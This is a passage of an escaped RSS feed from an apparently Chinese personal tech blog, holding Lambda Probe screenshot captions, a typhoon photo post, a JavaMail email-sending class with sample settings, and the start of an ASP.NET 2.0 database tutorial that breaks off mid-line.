&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/deployment.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/deployment_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Application deployment 发布应用&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/logs.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/logs_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Log file browser 日志文件浏览器&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/sysinfo.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/sysinfo_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;System information 系统信息&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/status.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/status_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Connector status&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/sessions.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/sessions_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Application sessions&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/session_attributes.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/session_attributes_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Session information and attributes&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/context_attributes.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/context_attributes_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Context attributes&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/resources.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/resources_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Application resources&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/jsp_list.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/jsp_list_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Application JSP files&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/jsp_source.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/jsp_source_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;JSP source view JSP 源码查看&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/charts.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/charts_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Connector usage statistic charts&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/chart_full.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/chart_full_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Maximized chart 最大化图表&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/threads.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/threads_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Threads view 线程视图&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=117</guid><pubDate>Sat, 28 Mar 2009 12:05:13 GMT</pubDate></item><item><title>台风“罗莎”来袭</title><link>http://www.chendw.cn:8080/view.aspx?id=116</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1"&gt;杭州主城区面临考验&amp;nbsp;&amp;nbsp; 还好自己在外出差 呵呵 o(∩_∩)o...&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/7440cebfbc38bd0119d81fb9.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/343b95dd33fe903f5982ddba.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/029ecb179d855a02c93d6dbb.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/af4db119c9798a4e43a9ad85.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;a target="_blank" href="http://hiphotos.baidu.com/cdwm/pic/item/c999820acb658135b1351d85.jpg"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/380efffa19efced5b48f3186.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;a target="_blank" href="http://hiphotos.baidu.com/cdwm/pic/item/af4db119c97b8a4e43a9ad87.jpg"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/082c5b822708eda90cf4d287.jpg"&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/987557fbee477e1d6d22eb84.jpg"&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ef88f4035f36947c3912bbbb.jpg"&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=116</guid><pubDate>Mon, 08 Oct 2007 08:11:00 GMT</pubDate></item><item><title>[JAVA]用javamail发送邮件</title><link>http://www.chendw.cn:8080/view.aspx?id=115</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;【转自网站自己修改了下】&lt;/p&gt;&lt;p&gt;代码如下：&lt;/p&gt;&lt;p&gt;&lt;font color="#ff9900"&gt;/*发送邮件部分*/&lt;/font&gt;&lt;/p&gt;&lt;p&gt;import java.io.*;&lt;br&gt;import java.util.*;&lt;/p&gt;&lt;p&gt;import javax.mail.Message;&lt;br&gt;import javax.mail.MessagingException;&lt;br&gt;import javax.mail.Session;&lt;br&gt;import javax.mail.Transport;&lt;br&gt;import javax.mail.internet.AddressException;&lt;br&gt;import javax.mail.internet.InternetAddress;&lt;br&gt;import javax.mail.internet.MimeMessage;&lt;/p&gt;&lt;p&gt;class ExtendString {&lt;br&gt; public ExtendString() {&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /**&lt;br&gt;&amp;nbsp;&amp;nbsp; * 去掉字符串两端的空白字符,并将字符串转化为中国的标准字符gb2312的字符串.&lt;br&gt;&amp;nbsp;&amp;nbsp; */&lt;br&gt; public String CS(String str) { // 去掉字符串2端的空白字符&lt;br&gt;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (str == null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return "";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; str = str.trim();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (str == null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return "";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; str = new String(str.getBytes("8859_1"), "GBK");&lt;br&gt;&amp;nbsp;&amp;nbsp; } catch (Exception e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(e);&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; return str;&lt;br&gt; }&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;public class SendMail {&lt;br&gt; private String sender = "";// 发件人地址&lt;/p&gt;&lt;p&gt; private String smtpHost = "";// 邮件发送服务器（smtp）&lt;/p&gt;&lt;p&gt; private String user = ""; // 登录用户名&lt;/p&gt;&lt;p&gt; private String password = "";// 登录密码&lt;/p&gt;&lt;p&gt; private String subject = "";// mail主题&lt;/p&gt;&lt;p&gt; public SendMail() {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.setPropertiesAttri();&lt;br&gt; }&lt;/p&gt;&lt;p&gt; private void setPropertiesAttri() {&lt;br&gt;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; InputStream is = getClass().getResourceAsStream("MailServer.ini");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Properties props = System.getProperties();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; props.load(is);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.setSmtpHost(props.get("SmtpHost").toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.setUser(props.get("User").toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.setPassword(props.get("Password").toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.setSender(props.get("Sender").toString());&lt;br&gt;&amp;nbsp;&amp;nbsp; } catch (Exception ex) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.err.println("ex1 in sendmail.java:" + ex.toString());&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 设置发件人地址 */&lt;/p&gt;&lt;p&gt; public void setSender(String sender) {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.sender = sender;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public String getSender() {&lt;br&gt;&amp;nbsp;&amp;nbsp; return sender;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 设置邮件发送服务器（smtp） */&lt;br&gt; public void setSmtpHost(String smtpHost) {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.smtpHost = smtpHost;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public String getSmtpHost() {&lt;br&gt;&amp;nbsp;&amp;nbsp; return smtpHost;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 设置登录用户名 */&lt;br&gt; public void setUser(String user) {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.user = user;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public String getUser() {&lt;br&gt;&amp;nbsp;&amp;nbsp; return user;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 设置登录密码 */&lt;br&gt; public void setPassword(String password) {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.password = password;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public String getPassword() {&lt;br&gt;&amp;nbsp;&amp;nbsp; return password;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 设置mail主题 */&lt;br&gt; public void setSubject(String subject) {&lt;br&gt;&amp;nbsp;&amp;nbsp; this.subject = subject;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public String getSubject() {&lt;br&gt;&amp;nbsp;&amp;nbsp; return subject;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /**&lt;br&gt;&amp;nbsp;&amp;nbsp; * 使用smtp发送邮件 主程序&lt;br&gt;&amp;nbsp;&amp;nbsp; * &lt;br&gt;&amp;nbsp;&amp;nbsp; * @throws MessagingException&lt;br&gt;&amp;nbsp;&amp;nbsp; * @throws AddressException&lt;br&gt;&amp;nbsp;&amp;nbsp; * &lt;br&gt;&amp;nbsp;&amp;nbsp; * @throws MessagingException&lt;br&gt;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mail发送失败&lt;br&gt;&amp;nbsp;&amp;nbsp; */&lt;br&gt; public void smtp(String receiver, String content, String Title)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; throws AddressException, MessagingException {&lt;br&gt;&amp;nbsp;&amp;nbsp; if (smtpHost == null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new MessagingException("smtpHost not found");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (MessagingException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; if (user == null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new MessagingException("user not found");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (MessagingException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; if (password == null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new MessagingException("password not found");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (MessagingException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; Properties properties = new Properties();&lt;br&gt;&amp;nbsp;&amp;nbsp; properties.put("mail.smtp.host", smtpHost);// 设置smtp主机&lt;br&gt;&amp;nbsp;&amp;nbsp; properties.put("mail.smtp.auth", "true");// 使用smtp身份验证&lt;br&gt;&amp;nbsp;&amp;nbsp; MyAuthenticator myauth = new MyAuthenticator("haisadmin", "8888");&lt;br&gt;&amp;nbsp;&amp;nbsp; Session session = Session.getDefaultInstance(properties, myauth);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; // 获得邮件会话对象&lt;br&gt;&amp;nbsp;&amp;nbsp; MimeMessage mimeMsg = new MimeMessage(session);// 创建MIME邮件对象&lt;br&gt;&amp;nbsp;&amp;nbsp; if (sender != null)// 设置发件人地址&lt;br&gt;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mimeMsg.setFrom(new InternetAddress(sender));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (AddressException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (MessagingException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; if (receiver != null)// 设置收件人地址&lt;br&gt;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mimeMsg.setRecipients(Message.RecipientType.TO, parse(receiver));&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; if (Title != null)// 设置邮件主题&lt;br&gt;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mimeMsg.setSubject(Title, "GBK");&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; MimeMessage message = new MimeMessage(session);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; // Set the from address&lt;br&gt;&amp;nbsp;&amp;nbsp; message.setFrom(new InternetAddress(sender));&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; // Set the to address&lt;br&gt;&amp;nbsp;&amp;nbsp; message.addRecipient(Message.RecipientType.TO, new InternetAddress(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; receiver));&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; // 设置 邮件标题&lt;br&gt;&amp;nbsp;&amp;nbsp; message.setSubject(Title);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; // 设置 邮件内容&lt;br&gt;&amp;nbsp;&amp;nbsp; message.setContent(content, "text/html;charset=GB2312");&lt;br&gt;&amp;nbsp;&amp;nbsp; message.saveChanges();&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; Transport.send(message);&lt;br&gt;&amp;nbsp;&amp;nbsp; System.out.println("已发送邮件到：" + receiver);&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /** 解析地址集合字符串 */&lt;br&gt; private InternetAddress[] parse(String addressSet) throws AddressException {&lt;br&gt;&amp;nbsp;&amp;nbsp; ArrayList list = new ArrayList();&lt;br&gt;&amp;nbsp;&amp;nbsp; StringTokenizer tokens = new StringTokenizer(addressSet, ";");&lt;br&gt;&amp;nbsp;&amp;nbsp; while (tokens.hasMoreTokens()) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; list.add(new InternetAddress(tokens.nextToken().trim()));&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; InternetAddress[] addressArray = new InternetAddress[list.size()];&lt;br&gt;&amp;nbsp;&amp;nbsp; list.toArray(addressArray);&lt;br&gt;&amp;nbsp;&amp;nbsp; return addressArray;&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /**&lt;br&gt;&amp;nbsp;&amp;nbsp; * 供外部调用的接口&lt;br&gt;&amp;nbsp;&amp;nbsp; */&lt;/p&gt;&lt;p&gt; public boolean sendMails(String mail, String content, String Title) {&lt;br&gt;&amp;nbsp;&amp;nbsp; if (mail == null || content == null) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.smtp(mail, content, Title);&lt;br&gt;&amp;nbsp;&amp;nbsp; } catch (AddressException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("AddressException:" + e.toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br&gt;&amp;nbsp;&amp;nbsp; } catch (MessagingException e) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO 自动生成 catch 块&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("MessagingException:" + e.toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; return true;&lt;br&gt; }&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#ff9900"&gt;/*验证用户部分*/&lt;/font&gt;&lt;/p&gt;&lt;p&gt;import javax.mail.PasswordAuthentication;&lt;/p&gt;&lt;p&gt;class MyAuthenticator&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; extends javax.mail.Authenticator {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String strUser;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String strPwd;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public MyAuthenticator(String user, String password) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.strUser = user;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.strPwd = password;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; protected PasswordAuthentication getPasswordAuthentication() {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return new PasswordAuthentication(strUser, strPwd);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;/*-----------------------------------------------------------------------------------------*/&lt;/p&gt;&lt;p&gt;&lt;font color="#ff6600"&gt;MailServer.ini&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#ff9900"&gt;SmtpHost=192.168.100.4&lt;br&gt;User= testmail&amp;nbsp;&amp;nbsp;&amp;nbsp; //部分邮件服务器的 User 为电子邮件地址（&lt;u&gt;&lt;a href="mailto:XXX@domain.com"&gt;XXX@domain.com&lt;/a&gt; 的格式）&lt;/u&gt;&lt;br&gt;Password=8888&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;/font&gt;&lt;a href="mailto:Sender=webadmin@163.com"&gt;&lt;font color="#ff9900"&gt;Sender=testmail@163.com&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=115</guid><pubDate>Fri, 05 Oct 2007 01:16:00 GMT</pubDate></item><item><title>[.NET]Asp.Net2.0数据库基本操作方法学习</title><link>http://www.chendw.cn:8080/view.aspx?id=114</link><description>&lt;div id="blog_text" class="cnt"&gt;本文将向大家简单介绍一下&lt;strong&gt;&lt;a title="asp.net2.0 数据库基本操作" href="http://search.yesky.com/search.do?wd=asp.net2.0 数据库基本操作&amp;amp;appType=1&amp;amp;columnId=324&amp;amp;sortType=0&amp;amp;btnsearch=%CB%D1" target="_blank"&gt;&lt;font color="#000000"&gt;Asp.Net2.0数据库基本操作&lt;/font&gt;&lt;/a&gt;&lt;/strong&gt;方法，希望能够对大家有所帮助。&lt;p&gt;　　一、设置Web.Config。删除&lt;connectionstrings&gt;&lt;/connectionstrings&gt;加以下代码&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;connectionStrings/&amp;gt;加以下代码 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;connectionStrings&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;add name="zgdxConn" connectionString="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=|DataDirectory|\newsData.mdb" providerName="System.Data.OleDb"/&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/connectionStrings&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;connectionstrings&gt;&lt;/connectionstrings&gt;&lt;/p&gt;&lt;p&gt;　　二、asp.net2.0中读取web.config数据库连接字符串2种方法&lt;/p&gt;&lt;p&gt;　　方法一：&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;string myConn = System.Configuration.ConfigurationManager.ConnectionStrings["zgdxConn"].ConnectionString;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　方法二：&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;string myConn = System.Web.Configuration.WebConfigurationManager.ConnectionStrings["zgdxConn"].ToString();&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　三、倒入命名空间&lt;/p&gt;&lt;p&gt;　　如果数据库是ACCESS：&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;using System.Data.OleDb;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　如果数据库是SqlServer;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;using 